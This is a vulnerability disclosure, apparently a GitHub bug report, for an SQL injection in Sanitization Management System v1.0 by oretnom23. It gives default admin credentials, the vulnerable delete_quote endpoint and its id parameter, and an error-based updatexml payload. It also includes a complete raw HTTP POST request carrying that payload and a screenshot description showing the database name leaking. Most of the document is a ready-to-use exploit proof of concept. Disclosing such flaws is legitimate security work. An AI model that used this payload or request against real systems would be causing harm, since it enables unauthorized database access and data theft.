

main

...

bug_report / vendors / oretnom23 / sanitization-management-system / SQLi-1.md



Hujozay Create SQLi-1.md

History

1 contributor

38 lines (26 sloc) | 1.29 KB

...

Sanitization Management System v1.0 by oretnom23 has SQL injection

BUG_Author: Hujozay

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/15770/sanitization-management-system-project-php-and-mysql-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /php-sms/classes/Master.php?f=delete_quote

Vulnerability location: /php-sms/classes/Master.php?f=delete_quote, id

dbname =sms_db,length=6

[+] Payload: id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /php-sms/classes/Master.php?f=delete_quote HTTP/1.1

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://192.168.1.88/php-sms/admin/?page=services

Content-Length: 65

Cookie: PHPSESSID=3puonr8mf2gr4m6iivf71mhjtq

Connection: close

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

The screenshot displays a web browser window with a fatal error message. The error message is: **Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: ''sms_db'' in C:\xampp\htdocs\php-sms\classes\Master.php:273**. The error occurs in the file `C:\xampp\htdocs\php-sms\classes\Master.php` at line 273. The stack trace shows the error was thrown in the `delete_quote()` method of the `Master` class. The browser's developer tools show the request details, including the headers and the body of the POST request. The body contains the payload: `id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+`. The browser's status bar at the bottom indicates 0 matches for the search term.